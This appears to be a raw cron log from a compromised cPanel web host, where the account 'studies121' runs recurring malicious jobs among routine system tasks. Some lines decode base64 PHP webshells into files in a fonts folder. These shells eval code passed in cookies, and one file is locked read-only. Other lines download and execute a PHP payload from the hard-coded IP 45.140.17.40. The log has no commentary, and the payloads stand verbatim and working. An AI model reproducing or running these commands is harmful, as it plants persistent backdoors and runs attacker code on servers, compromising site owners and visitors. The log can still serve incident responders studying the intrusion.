Sep  2 00:20:01 ip-184-168-122-23 CROND[13852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:20:01 ip-184-168-122-23 CROND[13853]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:20:01 ip-184-168-122-23 CROND[13857]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:20:01 ip-184-168-122-23 CROND[13854]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 00:20:01 ip-184-168-122-23 CROND[13851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:21:01 ip-184-168-122-23 CROND[13944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:21:02 ip-184-168-122-23 CROND[13947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:21:02 ip-184-168-122-23 CROND[13946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:21:02 ip-184-168-122-23 CROND[13948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:22:01 ip-184-168-122-23 CROND[14027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:22:01 ip-184-168-122-23 CROND[14029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:22:01 ip-184-168-122-23 CROND[14032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:22:01 ip-184-168-122-23 CROND[14030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:22:01 ip-184-168-122-23 CROND[14031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:23:01 ip-184-168-122-23 CROND[14112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:23:01 ip-184-168-122-23 CROND[14115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:23:01 ip-184-168-122-23 CROND[14114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:23:01 ip-184-168-122-23 CROND[14116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:24:01 ip-184-168-122-23 CROND[14292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:24:01 ip-184-168-122-23 CROND[14294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:24:01 ip-184-168-122-23 CROND[14296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:24:01 ip-184-168-122-23 CROND[14295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:24:01 ip-184-168-122-23 CROND[14297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:25:01 ip-184-168-122-23 CROND[14389]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:25:01 ip-184-168-122-23 CROND[14391]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 00:25:01 ip-184-168-122-23 CROND[14392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:25:01 ip-184-168-122-23 CROND[14393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:25:01 ip-184-168-122-23 CROND[14394]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:25:01 ip-184-168-122-23 CROND[14396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:25:01 ip-184-168-122-23 CROND[14395]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:26:01 ip-184-168-122-23 CROND[14483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:26:01 ip-184-168-122-23 CROND[14485]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:26:01 ip-184-168-122-23 CROND[14486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:26:01 ip-184-168-122-23 CROND[14487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:26:01 ip-184-168-122-23 CROND[14488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:27:01 ip-184-168-122-23 CROND[14577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:27:01 ip-184-168-122-23 CROND[14579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:27:01 ip-184-168-122-23 CROND[14582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:27:01 ip-184-168-122-23 CROND[14583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:28:01 ip-184-168-122-23 CROND[14663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:28:01 ip-184-168-122-23 CROND[14665]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:28:01 ip-184-168-122-23 CROND[14666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:28:01 ip-184-168-122-23 CROND[14668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:28:01 ip-184-168-122-23 CROND[14669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:29:01 ip-184-168-122-23 CROND[14747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:29:01 ip-184-168-122-23 CROND[14749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:29:01 ip-184-168-122-23 CROND[14750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:29:01 ip-184-168-122-23 CROND[14754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:30:01 ip-184-168-122-23 CROND[14833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:30:01 ip-184-168-122-23 CROND[14834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:30:01 ip-184-168-122-23 CROND[14840]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:30:01 ip-184-168-122-23 CROND[14838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:30:01 ip-184-168-122-23 CROND[14841]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 00:30:01 ip-184-168-122-23 CROND[14839]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:30:01 ip-184-168-122-23 CROND[14842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:30:01 ip-184-168-122-23 CROND[14845]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  2 00:30:01 ip-184-168-122-23 CROND[14844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:31:01 ip-184-168-122-23 CROND[14939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:31:01 ip-184-168-122-23 CROND[14942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:31:01 ip-184-168-122-23 CROND[14941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:31:01 ip-184-168-122-23 CROND[14943]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 00:31:01 ip-184-168-122-23 CROND[14944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:31:01 ip-184-168-122-23 CROND[14944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:32:01 ip-184-168-122-23 CROND[15024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:32:01 ip-184-168-122-23 CROND[15025]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
